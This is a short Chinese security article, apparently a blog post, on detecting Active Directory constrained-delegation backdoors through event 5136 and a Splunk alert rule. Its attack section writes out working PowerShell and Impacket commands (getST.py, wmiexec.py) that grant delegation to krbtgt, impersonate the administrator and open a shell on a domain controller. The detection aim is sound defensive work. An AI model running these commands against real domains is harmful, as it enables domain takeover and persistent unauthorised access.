基于AD Event日志监测约束委派攻击
01、简介
假设服务账号配置了到域控的约束性委派,当攻击者获取了服务账号,可以作为变种黄金票据,用作后门权限维持。
基于AD Event日志监测msDS-AllowedToDelegateTo属性的修改,从而发现可疑的约束委派攻击。
02、利用方式
(1)通过powershell添加test用户到krbtgt的约束委派
Import-Module ActiveDirectory $user = Get-ADUser test Set-ADObject $user -Add @{"msDS-AllowedToDelegateTo"=@("krbtgt/evil.com")}
(2)获取域控权限
python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123! set KRB5CCNAME=administrator.ccache python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136
03、检测方法
攻击手法的核心点在于攻击者需要修改msDS-AllowedToDelegateTo属性,因此我们只需要检测对msDS-AllowedToDelegateTo属性的修改,可以通过5136日志来监控。
5136事件:每次修改 Active Directory 对象时,都会生成此事件,包含帐户名称、目录服务对象名称、属性和操作类型。
安全规则:
index=ad EventCode=5136 "LDAP 显示名称"="msDS-AllowedToDelegateTo"
| rename 类型 as type | eval type=mvindex(type,1)
| stats min(_time) as start_time max(_time) as end_time count by ComputerName user DN type
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,服务器:"+ComputerName +"疑似遭受约束委派攻击"+count+"次,操作账号:"+user+" 操作对象:"+DN+" 操作类型:"+type
| table start_time end_time user message
效果如下: